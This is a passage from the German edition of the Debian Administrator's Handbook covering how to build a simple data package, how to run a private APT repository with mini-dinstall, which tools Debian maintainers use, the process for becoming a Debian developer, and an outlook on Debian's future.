Der Befehl dh_make erzeugt ein Unterverzeichnis namens debian mit zahlreichen Dateien. Einige von ihnen sind zwingend notwendig, insbesondere rules, control, changelog und copyright. Dateien mit der Erweiterung .ex sind Beispieldateien, die verwendet werden können, indem man sie bei Bedarf abändert (und die Erweiterung entfernt). Wenn sie nicht benötigt werden, ist es empfehlenswert, sie zu entfernen. Die Datei compat sollte erhalten bleiben, da sie für das ordnungsgemäße Funktionieren der Programmgarnitur debhelper (alle Dateien, die mit dem Präfix dh_ beginnen) erforderlich ist, die in verschiedenen Stadien des Paketerstellungsprozesses verwendet wird.

Die Datei copyright muss Informationen zu den Verfassern der in dem Paket aufgenommenen Dokumente und zu der zugehörigen Lizenz enthalten. In unserem Fall handelt es sich um interne Dokumente, und ihr Gebrauch beschränkt sich auf das Unternehmen Falcot Corp. Die standardmäßige changelog-Datei passt weitgehend. Es genügt, das „Initial release“ durch eine ausführlichere Erläuterung zu ersetzen und die Distribution von unstable nach internal zu ändern. Die Datei control wurde ebenfalls aktualisiert: das Feld Section wurde in misc umbenannt und die Felder Homepage, Vcs-Git und Vcs-Browser wurden entfernt. Das Feld Depends wurde um iceweasel | www-browser ergänzt, um die Verfügbarkeit eines Web-Browsers, der die in dem Paket enthaltenen Dokumente darstellen kann, sicherzustellen.

Beispiel 15.3. The Datei control

Source: falcot-data
Section: misc
Priority: optional
Maintainer: Raphael Hertzog <hertzog@debian.org>
Build-Depends: debhelper (>= 9)
Standards-Version: 3.9.5

Package: falcot-data
Architecture: all
Depends: iceweasel | www-browser, ${misc:Depends}
Description: Internal Falcot Corp Documentation
This package provides several documents describing the internal
structure at Falcot Corp.  This includes:
- organization diagram
- contacts for each department.
.
These documents MUST NOT leave the company.
Their use is INTERNAL ONLY.

Beispiel 15.4. Die Datei changelog

falcot-data (1.0) internal; urgency=low

* Initial Release.
* Let's start with few documents:
- internal company structure;
- contacts for each department.

-- Raphael Hertzog <hertzog@debian.org>  Fri, 04 Sep 2015 12:09:39 -0400

Beispiel 15.5. Die Datei copyright

Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: falcot-data

Files: *
Copyright: 2004-2015 Falcot Corp
License:
All rights reserved.

ZURÜCK ZU DEN GRUNDLAGEN Die Datei Makefile

Eine Makefile-Datei ist ein Skript, das vom Programm make benutzt wird; es beschreibt Regeln, wie ein Satz von Dateien aufeinander aufbauend in einem Abhängigkeitsbaum zu erstellen ist (zum Beispiel kann ein Programm aus einem Satz von Quelldateien erstellt werden). Die Datei Makefile beschreibt diese Regeln in folgendem Format:

target: source1 source2 ...
command1
command2

Eine derartige Regel ist folgendermaßen zu interpretieren: Falls eine der Dateien in source* jünger ist als die Datei target, dann muss das Ziel unter Verwendung von command1 und command2 erstellt werden.

Man beachte, dass die Befehlszeilen mit einem Tabulatorzeichen beginnen müssen; und beachten Sie auch, dass, wenn eine Zeile mit einem Gedankenstrich beginnt (-), ein Scheitern dieses Befehls den gesamten Prozess nicht unterbricht.

Die Datei rules enthält normalerweise einen Satz von Regeln, die verwendet werden, um das Programm zu konfigurieren, zu erstellen und in ein speziell dafür vorgesehenes Unterverzeichnis (das nach dem erstellten Binärpaket benannt ist) zu installieren. Der Inhalt dieses Unterverzeichnisses wird dann innerhalb des Debian-Pakets archiviert, als wäre es das Wurzelverzeichnis des Dateisystems. In unserem Fall werden die Dateien in dem Unterverzeichnis debian/falcot-data/usr/share/falcot-data/ installiert, so dass die Dateien beim Installieren des erstellten Pakets unter /usr/share/falcot-data/ eingerichtet werden. Die Datei rules wird als Makefile mit einigen Standardzielen benutzt (einschließlich clean und binary, die verwendet werden, um das Quellverzeichnis aufzuräumen beziehungsweise das Binärpaket zu erstellen).

Obwohl diese Datei im Zentrum des Prozesses steht, enthält sie in zunehmendem Maße nur das absolute Minimum zur Ausführung eines Standardbefehlssatzes, der vom Hilfsprogramm debhelper bereitgestellt wird. Dies ist für durch dh_make erzeugte Dateien der Fall. Um unsere Dateien zu installieren, konfigurieren wir einfach das Verhalten des Befehls dh_install, indem wir die folgende debian/falcot-data.install-Datei erstellen:

data/* usr/share/falcot-data/

Jetzt kann das Paket erstellt werden. Wir werden dem Ganzen noch einen Anstrich geben. Da die Administratoren möchten, dass über die Menüs der grafischen Arbeitsumgebungen leicht auf die Dokumente zugegriffen werden kann, fügen wir eine Datei falcot-data.desktop hinzu und installieren in /usr/share/applications indem wir eine Zweite Zeile zu debian/falcot-data.install hinzufügen.

Beispiel 15.6. The Datei falcot-data.desktop

[Desktop Entry]
Name=Internal Falcot Corp Documentation
Comment=Starts a browser to read the documentation
Exec=x-www-browser /usr/share/falcot-data/index.html
Terminal=false
Type=Application
Categories=Documentation;

Die aktualisierte Datei debian/falcot-data.install sieht so aus:

data/* usr/share/falcot-data/
falcot-data.desktop usr/share/applications/

Unser Quellpaket ist nun fertig. Wir müssen nur noch mit derselben Methode, die wir zuvor für die Wiederherstellung von Paketen benutzt haben, das Binärpaket erzeugen: wir führen im Verzeichnis falcot-data-1.0 den Befehl dpkg-buildpackage -us -uc aus.

15.3. Ein Paket-Depot für APT erstellen

Falcot Corp. hat sukzessive damit begonnen, eine Anzahl von Debian-Paketen zu betreuen, die entweder aus bestehenden Paketen lokal geändert oder von Grund auf neu erstellt wurden, um interne Daten und Programme zu verteilen.

Um ihren Einsatz zu erleichtern, möchten sie diese Pakete in ein Paketarchiv integrieren, das direkt von APT benutzt werden kann. Aus offensichtlichen verwaltungstechnischen Gründen möchten sie dabei interne Pakete von lokal neu erstellten Paketen trennen. Am Ende sollen die entsprechenden Einträge in der Datei /etc/apt/sources.list.d/falcot.list wie folgt aussehen:

deb http://packages.falcot.com/ updates/
deb http://packages.falcot.com/ internal/

Die Administratoren konfigurieren daher auf ihrem internen HTTP-Server einen virtuellen Host, bei dem /srv/vhosts/packages/ das Wurzelverzeichnis des dazugehörigen Speicherplatzes ist. Die Verwaltung des Archivs selbst wird dem Befehl mini-dinstall (im ähnlich genannten Paket) übertragen. Dieses Hilfsprogramm behält ein Verzeichnis namens incoming/ im Auge (in unserem Fall /srv/vhosts/packages/mini-dinstall/incoming/) und wartet dort auf neue Pakete; wenn ein neues Paket hochgeladen wird, wird es unter /srv/vhosts/packages/ in ein Debian-Archiv installiert. Der Befehl mini-dinstall liest die Datei *.changes, die erstellt wird, wenn das Debian-Paket erzeugt wird. Diese Dateien enthalten eine Liste aller übrigen Dateien, die dieser Version des Pakets zugeordnet sind (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz oder ihre Entsprechungen bei anderen Komprimierungsprogrammen), und diese lassen mini-dinstall wissen, welche Dateien installiert werden sollen. Die Dateien des Typs *.changes enthalten im jüngsten debian/changelog-Eintrag auch den Namen der Zieldistribution (häufig unstable), und mini-dinstall verwendet diese Information, um zu entscheiden, wo das Paket installiert werden soll. Deshalb müssen Administratoren dieses Feld immer ändern, bevor sie ein Paket erstellen und es in Abhängigkeit vom Zielort auf internal oder updates einstellen. mini-dinstall erzeugt dann die von APT benötigten Dateien, wie zum Beispiel Packages.gz.

ALTERNATIVE apt-ftparchive

Falls Ihnen mini-dinstall für Ihre Ansprüche an ein Debian-Archiv als zu kompliziert erscheint, können sie stattdessen auch den Befehl apt-ftparchive verwenden. Dieses Hilfsprogramm durchsucht den Inhalt eines Verzeichnisses und zeigt (in seiner Standardausgabe) eine entsprechende Packages-Datei an. Im Falle von Falcot Corp. könnten die Administratoren die Pakete direkt nach /srv/vhosts/packages/updates/ oder /srv/vhosts/packages/internal/ hochladen und dann die folgenden Befehle ausführen, um die Packages.gz-Dateien zu erstellen:

$ cd /srv/vhosts/packages
$ apt-ftparchive packages updates >updates/Packages
$ gzip updates/Packages
$ apt-ftparchive packages internal >internal/Packages
$ gzip internal/Packages

Der Befehl apt-ftparchive sources ermöglicht es, in ähnlicher Weise Sources.gz-Dateien zu erstellen.

Zur Konfigurierung von mini-dinstall muss eine Datei namens ~/.mini-dinstall.conf eingerichtet werden; im Falle von Falcot Corp. sieht ihr Inhalt folgendermaßen aus:

[DEFAULT]
archive_style = flat
archivedir = /srv/vhosts/packages

verify_sigs = 0
mail_to = admin@falcot.com

generate_release = 1
release_origin = Falcot Corp
release_codename = stable

[updates]
release_label = Recompiled Debian Packages

[internal]
release_label = Internal Packages

Eine beachtenswerte Entscheidung betrifft die Erzeugung der Release-Dateien für jedes Archiv. Dies ist für die Verwaltung der Prioritäten bei der Paketinstallation unter Verwendung der Konfigurationsdatei /etc/apt/preferences hilfreich (zu Einzelheiten siehe das Kapitel über die APT-Konfigurierung unter Abschnitt 6.2.5, „Paketprioritäten verwalten“).

SICHERHEIT mini-dinstall und Berechtigungen

Da mini-dinstall so konzipiert ist, dass es als normaler Benutzer läuft, besteht keine Notwendigkeit, es als Root auszuführen. Am einfachsten ist es, alles im Benutzerkonto des Administrators zu konfigurieren, der für die Erstellung der Debian-Pakete zuständig ist. Da nur dieser Administrator die erforderlichen Berechtigungen zur Speicherung von Dateien im Verzeichnis incoming/ hat, können wir daraus schließen, dass der Administrator den Ursprung jedes Pakets vor seiner Verwendung autorisiert hat, und dass mini-dinstall dies daher nicht noch einmal tun muss. Hieraus erklärt sich der Parameter verify_sigs = 0 (der bedeutet, dass Signaturen nicht verifiziert zu werden brauchen). Jedoch können wir bei sensiblen Paketinhalten die Einstellung ändern und bestimmen, dass mit einem Schlüsselring authentifiziert wird, der die öffentlichen Schlüssel der Personen enthält, die Pakete erstellen dürfen (konfiguriert mit dem Parameter extra_keyrings); mini-dinstall überprüft dann den Ursprung jedes ankommenden Pakets, indem es die in den *.changes-Dateien integrierte Signatur analysiert.

Der Aufruf des Befehls mini-dinstall startet genau genommen den Daemon im Hintergrund. Solange dieser Daemon läuft, wird er jede halbe Stunde im Verzeichnis incoming/ nach neuen Paketen sehen; wenn ein neues Paket eintrifft, wird es ins Archiv verschoben, und die entsprechenden Dateien Packages.gz und Sources.gz werden erneuert. Falls es problematisch sein sollte, einen Daemon auszuführen, kann mini-dinstall auch jedes Mal, wenn ein Paket in das Verzeichnis incoming/ hochgeladen wird, manuell im Stapelverarbeitungsmodus (mit der Option -b) aufgerufen werden. Weitere von mini-dinstall angebotene Möglichkeiten sind auf seiner Handbuchseite mini-dinstall(1) dokumentiert.

EXTRA Ein signiertes Archiv erzeugen

APT überprüft bei den Paketen, die es handhabt, vor ihrer Installation eine Reihe kryptographischer Signaturen um ihre Authentizität zu gewährleisten (siehe Abschnitt 6.5, „Die Echtheit eines Paketes prüfen“). Private APT-Archive können daher ein Problem darstellen, da die Rechner, die sie verwenden, fortlaufend Warnungen vor nicht signierten Paketen anzeigen. Ein sorgfältiger Administrator wird daher private Archive mit dem sicheren APT-Mechanismus integrieren.

Um diesen Vorgang zu erleichtern, enthält mini-dinstall die Konfigurationsoption release_signscript, mit der es möglich ist, ein Skript zur Erzeugung der Signatur zu spezifizieren. Ein guter Ausgangspunkt ist das Skript sign-release.sh, das vom Paket mini-dinstall im Verzeichnis /usr/share/doc/mini-dinstall/examples/ bereitgestellt wird; lokale Änderungen könnten angebracht sein.

15.4. Paketbetreuer werden

15.4.1. Lernen Pakete zu erstellen

Das Erstellen eines qualitativ hochwertigen Debian-Pakets ist nicht immer einfach, und um Paketbetreuer zu werden, muss man sowohl in der Theorie als auch in der Praxis einiges lernen. Es geht nicht nur darum, Software zu erstellen und zu installieren; vielmehr entsteht der Großteil der Komplexität aus dem Verständnis für die Probleme und Konflikte, und im Weiteren für die Wechselwirkungen mit der Unzahl der anderen verfügbaren Pakete.

15.4.1.1. Regeln

Ein Debian-Paket muss den genauen Regeln des Debian-Regelwerks entsprechen, und jeder Paketbetreuer muss sie kennen. Es ist nicht erforderlich, sie auswendig zu kennen, vielmehr muss man wissen, dass sie existieren, und jedes Mal in ihnen nachsehen, wenn eine Entscheidung mehr als eine banale Alternative darstellt. Jeder Debian-Betreuer hat Fehler gemacht, weil er eine Regel nicht kannte, jedoch ist dies kein ernstes Problem, solange der Fehler behoben wird, wenn ein Benutzer einen Fehlerbericht verfasst (was dank der erfahrenen Benutzer normalerweise recht bald geschieht).

→ http://www.debian.org/doc/debian-policy/

15.4.1.2. Verfahren

Debian ist keine einfache Ansammlung individueller Pakete. Jedermanns Paketerstellungsarbeit ist Teil eines gemeinschaftlichen Projekts; als Debian-Entwickler muss man auch wissen, wie das Debian-Projekt als Ganzes funktioniert. Jeder Entwickler wird früher oder später mit anderen zusammenwirken. Die Debian Entwickler-Referenz (im Paket developers-reference) fasst zusammen, was jeder Entwickler wissen muss, um möglichst reibungslos mit den verschiedenen Teams innerhalb des Projekts zusammenzuarbeiten, und um die größtmöglichen Vorteile aus den verfügbaren Ressourcen zu ziehen. Dieses Dokument zählt auch eine Anzahl von Pflichten auf, deren Erfüllung von einem Entwickler erwartet wird.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Hilfsprogramme

Zahlreiche Hilfsprogramme unterstützen Paketbetreuer bei ihrer Arbeit. Dieser Abschnitt beschreibt sie kurz, aber stellt nicht alle Einzelheiten dar, da jedes von ihnen eine eigene umfassende Dokumentation besitzt.

15.4.1.3.1. Das Programm lintian

Dieses Hilfsprogramm ist eines der wichtigsten: es ist der Debian-Paketüberprüfer. Es beruht auf einer langen Reihe von Tests, die aus dem Debian-Regelwerk erstellt worden sind, und entdeckt schnell und automatisch viele Fehler, die vor der Veröffentlichung eines Pakets behoben werden können.

Dieses Programm ist nur ein Gehilfe und versteht manchmal etwas falsch (zum Beispiel ist lintian manchmal nicht aktuell, da sich das Debian-Regelwerk im Laufe der Zeit verändert). Es ist auch nicht vollständig flächendeckend: keine Lintian-Fehlermeldung zu erhalten, sollte nicht als Nachweis verstanden werden, dass das Paket perfekt ist; bestenfalls verhindert es die häufigsten Fehler.

15.4.1.3.2. Das Programm piuparts

Dies ist ein weiteres wichtiges Tool; es automatisiert die Installation, Aktualisierung und Deinstallation eines Pakets (in einer isolierten Umgebung) und prüft, dass keine dieser Aktivitäten zu einem Fehler führt. Es kann helfen, fehlende Abhängigkeiten aufzudecken und es ermittelt Dateien, die fälschlicher Weise nach einer Deinstallation auf dem System verblieben sind.

15.4.1.3.3. devscripts

Das Paket devscripts enthält zahlreiche Programme, die einem Debian-Entwickler bei einem weiten Spektrum seiner Arbeit helfen:

- debuild ermöglicht es, ein Paket zu erzeugen (mit dpkg-buildpackage) und dann lintian auszuführen, um seine Übereinstimmung mit dem Debian-Regelwerk zu überprüfen.

- debclean bereinigt ein Quellpaket, nachdem ein Binärpaket erzeugt worden ist.

- dch ermöglicht das schnelle und einfache Editieren einer debian/changelog-Datei in einem Quellpaket.

- uscan überprüft, ob eine neue Version eines Programms vom ursprünglichen Verfasser veröffentlicht worden ist; dies erfordert eine debian/watch-Datei mit einer Beschreibung des Ortes derartiger Veröffentlichungen.

- debi ermöglicht es, das gerade erzeugte Debian-Paket (mit dpkg -i) zu installieren, ohne dabei seinen vollständigen Namen und Pfad eingeben zu müssen.

- In ähnlicher Weise ermöglicht es debc, den Inhalt eines vor kurzem erzeugten Pakets (mit dpkg -c) abzufragen, ohne seinen vollständigen Namen und Pfad eingeben zu müssen.

- bts überwacht das Fehlerverfolgungssystem von der Befehlszeile aus; dieses Programm erzeugt automatisch die passenden E-Mails.

- debrelease lädt ein kürzlich erzeugtes Paket auf einen entfernten Server hoch, ohne den vollständigen Namen und Pfad der dazugehörigen .changes-Datei eingeben zu müssen.

- debsign signiert die *.dsc- und *.changes-Dateien.

- uupdate automatisiert die Erstellung einer überarbeiteten Paketversion, wenn eine neue Ursprungsversion veröffentlicht worden ist.

15.4.1.3.4. debhelper und dh-make

Debhelper ist ein Satz von Skripten, die die Erstellung regelkonformer Pakete erleichtern; diese Skripte werden von debian/rules aufgerufen. Debhelper wird in Debian in großem Umfang angewendet, wie aus der Tatsache ersichtlich ist, dass es von der Mehrheit der offiziellen Debian-Pakete benutzt wird. Alle in ihm enthaltenen Befehle führen das Präfix dh_.

Das Skript dh_make (im Paket dh-make) erstellt in einem Verzeichnis, das zu Anfang die Quellen einer Software enthält, Dateien, die für die Erzeugung eines Debian-Pakets erforderlich sind. Wie aufgrund des Programmnamens vermutet werden kann, verwenden die erzeugten Dateien standardmäßig debhelper.

15.4.1.3.5. dupload und dput

Die Befehle dupload und dput ermöglichen es, ein Debian-Paket auf einen (möglicherweise entfernten) Server hochzuladen. Auf diese Weise können Entwickler ihr Paket auf dem Debian-Hauptserver (ftp-master.debian.org) veröffentlichen, so dass es in das Archiv integriert und über die Spiegelserver verteilt werden kann. Diese Befehle nehmen eine *.changes-Datei als Parameter und leiten die übrigen relevanten Dateien aus ihrem Inhalt ab.

15.4.2. Annahmeverfahren

Ein Debian-Entwickler zu werden, ist nicht einfach eine administrative Angelegenheit. Das Verfahren besteht aus mehreren Schritten, und es ist mehr eine Initiation als ein Auswahlprozess. In jedem Fall ist es formalisiert und gut dokumentiert, so dass jeder seine Entwicklung auf der Webseite verfolgen kann, die speziell für das Annahmeverfahren für neue Entwickler vorgesehen ist.

→ https://nm.debian.org/

EXTRA Leichtgewichtiges Verfahren für „Debian-Betreuer“

„Debian-Betreuer“ ist ein weiterer Status der weniger Rechte verleiht als „Debian Entwickler“ und dessen zugehöriger Prozess schneller abläuft. Mit diesem Status zugestandenen Rechte reichen nur dazu aus, die eigenen Pakete zu betreuen. Ein Debian-Entwickler muss nur zu Anfang ein Upload überprüfen und eine Erklärung dahingehend abgeben, dass er dem angehenden Betreuer zutraut, das Paket eigenständig zu betreuen.

15.4.2.1. Voraussetzungen

Von allen Kandidaten wird erwartet, dass sie wenigstens ausreichende Englischkenntnisse haben. Dies ist auf allen Ebenen erforderlich: natürlich für die anfängliche Kommunikation mit dem Prüfer, aber auch später, da Englisch für den Großteil der Dokumentation die bevorzugte Sprache ist; auch Paketbenutzer werden in Englisch kommunizieren, wenn sie Fehler melden, und werden Antworten in Englisch erwarten.

Die andere Voraussetzung bezieht sich auf die Motivation. Ein Debian-Entwickler zu werden, ist ein Prozess, der nur dann Sinn macht, wenn der Kandidat weiß, dass sein Interesse an Debian viele Monate lang anhalten wird. Der Aufnahmeprozess selbst kann mehrere Monate dauern, und Debian benötigt Entwickler langfristig; jedes Paket benötigt dauerhafte Betreuung und nicht nur einen anfänglichen Upload.

15.4.2.2. Registrierung

Er erste (wirkliche) Schritt besteht darin, einen Sponsor oder Befürworter zu finden; hierunter ist ein offizieller Entwickler zu verstehen, der bereit ist zu bestätigen, dass er davon überzeugt ist, dass die Aufnahme von X für Debian von Vorteil sein würde. Dies setzt normalerweise voraus, dass der Kandidat bereits innerhalb der Gemeinschaft aktiv gewesen und seine Arbeit anerkannt ist. Falls der Kandidat schüchtern ist und seine Arbeit nicht öffentlich angepriesen hat, kann er versuchen, einen Debian-Entwickler zu seiner Unterstützung zu bewegen, indem er ihm seine Arbeit privat zeigt.

Zur gleichen Zeit muss der Kandidat mit GnuPG ein öffentliches/privates RSA-Schlüsselpaar erzeugen, das von wenigstens zwei offiziellen Debian-Entwicklern signiert werden sollte. Die Signatur authentifiziert den im Schlüssel enthaltenen Namen. Während einer Keysigning-Party muss jeder Teilnehmer seinen Personalausweis zusammen mit seiner Schlüsselkennung vorweisen. Dieser Schritt bestätigt die offizielle Verbindung zwischen der Person und den Schlüsseln. Daher erfordert diese Signatur, dass man sich persönlich trifft. Falls Sie noch keine Debian-Entwickler bei einer öffentlichen Konferenz über freie Software getroffen haben, können Sie explizit in der Nähe wohnende Entwickler suchen, indem Sie als Ausgangspunkt die auf der folgenden Webseite stehende Liste benutzen.

→ https://wiki.debian.org/Keysigning

Nachdem die Registrierung auf nm.debian.org von einem Unterstützer bestätigt wurde, wird dem Kandidaten ein Antragsmanager zugewiesen. Dieser Antragsmanager wird fortan das Verfahren weiterverfolgen und die verschiedenen Schritte, die dieser Prozess umfasst, bestätigen.

Die erste Überprüfung ist eine Personenkontrolle. Falls Sie bereits einen von zwei Debian-Entwicklern signierten Schlüssel besitzen, ist dieser Schritt einfach; anderenfalls wird der Antragsmanager versuchen, Ihnen bei Ihrer Suche nach in der Nähe lebenden Debian-Entwicklern zu helfen, indem er ein Treffen und eine Schlüsselsignierung organisiert.

15.4.2.3. Die Prinzipien akzeptieren

Diesen administrativen Formalitäten folgen philosophische Erwägungen. Es geht darum sicherzustellen, dass der Kandidat den Gesellschaftsvertrag und die Prinzipien Freier Software versteht und akzeptiert. Es ist nur möglich, Debian beizutreten, wenn man die Werte teilt, die die derzeitigen Entwickler eint, wie sie in den Gründungstexten bekundet sind (und zusammengefasst in Kapitel 1, Das Debian-Projekt).

Darüber hinaus wird von jedem Kandidaten, der Debian beitreten möchte, erwartet, dass er die Funktionsweise des Projekts kennt, und wie man angemessen zusammenwirkt, um Probleme zu lösen, denen er im Laufe der Zeit zweifelsohne begegnen wird. Alle diese Informationen sind im Allgemeinen in den Handbüchern dokumentiert, die für die neuen Betreuer bestimmt sind, sowie in der Debian Entwickler-Referenz. Das aufmerksame Lesen dieser Dokumente sollte genügen, um die Fragen des Prüfers beantworten zu können. Falls die Antworten nicht befriedigen, wird der Kandidat darüber informiert. Er wird dann die entsprechende Dokumentation (nochmals) lesen müssen, bevor er es erneut versucht. In den Fällen, in denen die vorhandene Dokumentation die passenden Antworten auf die Frage nicht enthält, kann der Kandidat normalerweise mit einiger praktischer Erfahrung in Debian die Antwort finden, oder vielleicht auch, indem er mit anderen Debian-Entwicklern spricht. Dieses Verfahren stellt sicher, dass Kandidaten in gewissem Umfang in Debian involviert werden, bevor sie ein vollständiger Teil von ihm werden. Es ist ein ausdrücklicher Grundsatz, dass Kandidaten, die schließlich dem Projekt beitreten, als ein weiteres Teil eines unendlich erweiterbaren Puzzles integriert werden.

Dieser Schritt wird im Jargon der am Betreuungsprozess beteiligten Entwickler gewöhnlich Philosophie & Prozeduren genannt (oder kurz P&P).

15.4.2.4. Fähigkeiten überprüfen

Jeder Antrag, ein offizieller Debian-Entwickler zu werden, muss begründet werden. Um Projektmitglied zu werden, muss man zeigen, dass dieser Status gerechtfertigt ist, und dass er dem Kandidaten seine Unterstützung für Debian erleichtert. Die häufigste Begründung besteht darin, dass der Status als Debian-Entwickler die Betreuung eines Debian-Pakets erleichtert, aber dies ist nicht die einzige. Einige Entwickler treten dem Projekt bei, um zur Übertragung auf eine bestimmte Architektur beizutragen, andere möchten die Dokumentation verbessern und so weiter.

Dieser Schritt bietet dem Kandidaten die Möglichkeit zu erklären, was er innerhalb des Debian-Projekts zu tun beabsichtigt, und zu zeigen, was er zu diesem Zweck bereits getan hat. Debian ist ein pragmatisches Projekt, und es genügt nicht, etwas zu sagen, falls die Taten den Aussagen nicht entsprechen. Wenn die beabsichtigte Rolle innerhalb des Projekts sich auf die Paketbetreuung bezieht, wird im allgemeinen die erste Version des angehenden Pakets von einem Sponsor aus den Reihen der bereits registrierten Debian-Entwickler technisch überprüft und auf die Debian-Server hochgeladen.

GEMEINSCHAFT Sponsern

Debian-Entwickler können Pakete, die von jemand anderem entwickelt werden, „sponsern“. Das heißt, dass sie sie in den offiziellen Debian-Paketdepots veröffentlichen, nachdem sie sie einer sorgfältigen Überprüfung unterzogen haben. Dieses Vorgehen ermöglicht es externen Personen, die noch nicht durch den für neue Betreuer erforderlichen Prozess gegangen sind, gelegentlich zum Projekt beizutragen. Gleichzeitig stellt es sicher, dass alle Pakete, die in Debian enthalten sind, stets von einem offiziellen Mitglied überprüft worden sind.

Schließlich überprüft der Prüfer die technischen (Paketerstellungs-)Fähigkeiten des Kandidaten mit einem ausführlichen Fragebogen. Falsche Antworten sind nicht erlaubt, aber die Beantwortungszeit ist nicht begrenzt. Die gesamte Dokumentation darf benutzt werden, und mehrere Versuche sind möglich, falls die ersten Antworten nicht befriedigend sind. Dieser Schritt beabsichtigt nicht zu diskriminieren, sondern wenigstens ein Mindestmaß an Wissen, über das alle neuen Mitwirkenden verfügen, sicherzustellen.

Dieser Schritt wird im Jargon der Prüfer als Aufgaben & Fähigkeiten (kurz: T&S) bezeichnet.

15.4.2.5. Endgültige Bestätigung

Im allerletzten Schritt wird der gesamte Prozess durch einen DAM (Debian Account Manager) begutachtet. Der DAM wird alle vom Prüfer über den Kandidaten zusammengetragenen Informationen nachprüfen und dann entscheiden, ob ein Konto auf den Debian-Servern eingerichtet wird oder nicht. Falls zusätzliche Informationen benötigt werden, kann die Kontoerstellung verzögert werden. Ablehnungen sind recht selten, falls der Prüfer gute Arbeit bei der Verfolgung des Vorgangs geleistet hat, aber sie kommen manchmal vor. Sie sind niemals endgültig, und der Kandidat kann es später noch einmal versuchen.

Die Entscheidung des DAM ist bindend und (fast) ohne Einspruchsmöglichkeit, woraus sich erklärt, warum die Personen in dieser Position bereits häufig kritisiert worden sind.

Kapitel 16. Zusammenfassung: Debians Zukunft

Die Geschichte der Falcot Corp endet in diesem letzten Abschnitt. Debian aber lebt weiter und die Zukunft wird sicher einige interessante Überaschungen bereithalten.

16.1. Zukünftige Entwicklungen

Wochen (oder Monate) bevor eine neue Version von Debian erscheint, wählt der Release Manager einen Codenamen für die nächste Version. Jetzt da Debian Version 8 erschienen ist, sind die Entwickler bereits mit Arbeiten an der kommenden Version, Codename Stretch, beschäftigt…

Es gibt keine offizielle Liste geplanter Änderungen und Debian macht niemals Versprechen bezüglich technischer Ziele kommender Versionen. Trotzdem sind einige Trends der Entwicklung bereits erkennbar und wir können versuchen vorherzusagen, was kommen wird (oder auch nicht)..

Um Sicherheit und das Vertrauen in die Software zu verbessern werden die meisten Pakete so erstellt, dass sie reproduzierbar sind. Es ist sozusagen möglich, alle Binärpakete Byte für Byte identisch aus den Quelldateien herzustellen um es jedem zu ermöglichen festzustellen, dass bei der Erstellung keinerlei Manipulation erfolgt ist.

In einem verwandten Thema werden sich die Bemühungen um die Verbesserung der Sicherheit und die Abschwächung sowohl der „traditionellen“ Angriffe als auch der neuen Bedrohungen durch die Massenüberwachung sehr intensiviert haben.

Natürlich haben alle Software-Suiten ihre Major Releases. Die aktuellste Version der verschiedenen Desktop-Umgebungen bringen eine verbesserte Usability und neue Features. Der neue Displayserver Wayland wird entwickelt um X11 als eine moderne Alternative abzulösen und er wird (obwohl nicht als Standard) für zumindest einige Desktop-Umgebungen verfügbar sein.

Eine neue Version der Archivierungssoftware „bikesheds“ erlaubt es Entwicklern zusätzlich zu den Hauptrepositories Spezialrepositories bereitzustellen. Dies ermöglicht persönliche Paket-Repositories, Repositories für Software, die nicht in das Hauptarchiv gehen können, Repositories für Software, die nur eine sehr kleine Zielgruppe hat, temporäre Repositories zum Testen neuer Ideen und so weiter.

16.2. Debians Zukunft

Zusätzlich zu diesen internen Entwicklungen kann man mit gutem Grund erwarten, dass neue Debian-basierte Distributionen das Licht der Welt erblicken werden, denn viele Werkzeuge erleichtern diese Aufgabe. Spezielle neue Unterprojekte werden gestartet, um neue Wege zur Verbreitung Debians zu erschließen.

Die Debian-Gemeinschaft wird wachsen. Neue Helfer werden sich dem Projekt anschließen... Vielleicht bist du ja unter ihnen!

Das Debian-Projekt ist stärker als jemals zuvor und hat schon einen guten Teil des Weges bis zur universellen Distribution hinter sich gebracht. Der Insiderwitz innerhalb der Debian-Gemeinde spricht von der Weltherrschaft (World Domination).

Trotz seines Alters und seiner respektablen Größe wächst Debian weiter in alle möglichen (manchmal unerwarteten) Richtungen. Mitwirkende sind voller Ideen, und Diskussionen auf Entwicklungs-Mailinglisten, selbst wenn sie wie Gezänk aussehen, verstärken den Schwung. Debian wird manchmal verglichen mit einem schwarzen Loch einer so starken Dichte, dass jedes neue freie Softwareprojekt angezogen wird.

Neben der offensichtlichen Zufriedenheit der meisten Debian-Benutzer zeichnet sich unbestreitbar ein starker Trend ab: Die Leute erkennen zusehends, dass bessere Ergebnisse erzielt werdne können, wenn man zusammenarbeitet, alleine vor sich hinzuarbeiten. Und das ist auch das Grundprinzip von Distributionen, die sich in Debian als Unterprojekte einklinken.

Das Debian-Projekt ist daher nicht vom Aussterben bedroht…

16.3. Die Zukunft des Buches

Wir würden gerne sehen, wie sich dieses Buch im Geist der Freien Software entwickelt. Deshalb begrüßen wir Beiträge, Hinweise, Vorschläge und Kritik. Bitte richten Sie diese an Raphaël (<hertzog@debian.org>) oder Roland (<lolando@debian.org>). Für nachvollziehbare Rückmeldungen sollten Sie Fehlermeldungen zu dem Paket debian-handbook verfassen. Die Internet-Seite wird genutzt um alle für die Weiterentwicklung des Buches relevanten Informationen zu sammeln und dort finden Sie auch Informationen, wie Sie sich beteiligen können, ganz besonders wenn Sie das Buch übersetzen wollen, um es einem noch größeren Publikum zugänglich zu machen.

→ http://debian-handbook.info/

Wir versuchten möglichst viel Erfahrung, die wir bei der Arbeit mit Debian erlangt haben einzubringen, so dass jeder diese Distribution nutzen und so schnell wie möglich die für ihn größten Vorteile daraus ziehen kann. Wir hoffen, dass dieses Buch einen Beitrag dazu leistet, Debian weniger verwirrend und populärer zu machen, und wir freuen uns über jede Werbung dafür!

Wir würden gerne mit einer persönlichen Bemerkung schließen. Das Schreiben (und Übersetzen) dieses Buches verschlang ganz schön viel Zeit, die wir sonst in unseren Beruf hätten stecken können. Da wir beide freiberuflich tätig sind, verschafft uns jede neue Einkommensquelle den nötigen Freiraum, mehr Zeit in die Verbesserung von Debian zu stecken; wir hoffen, dass dieses Buch erfolgreich ist und uns dabei helfen wird. Bis es so weit ist, können Sie uns gerne beauftragen!

→ http://www.freexian.com

→ http://www.gnurandal.com

Bis bald!

Anhang A. Derivate (Abgeleitete Distributionen)

Viele Linux Distributionen sind Derivate von Debian und verwenden Debians Paketverwaltung. Alle haben eigene interessante Eigenschaften und es ist möglich, dass eine von ihnen die gestellten Bedürfnisse besser erfüllt als Debian selbst.

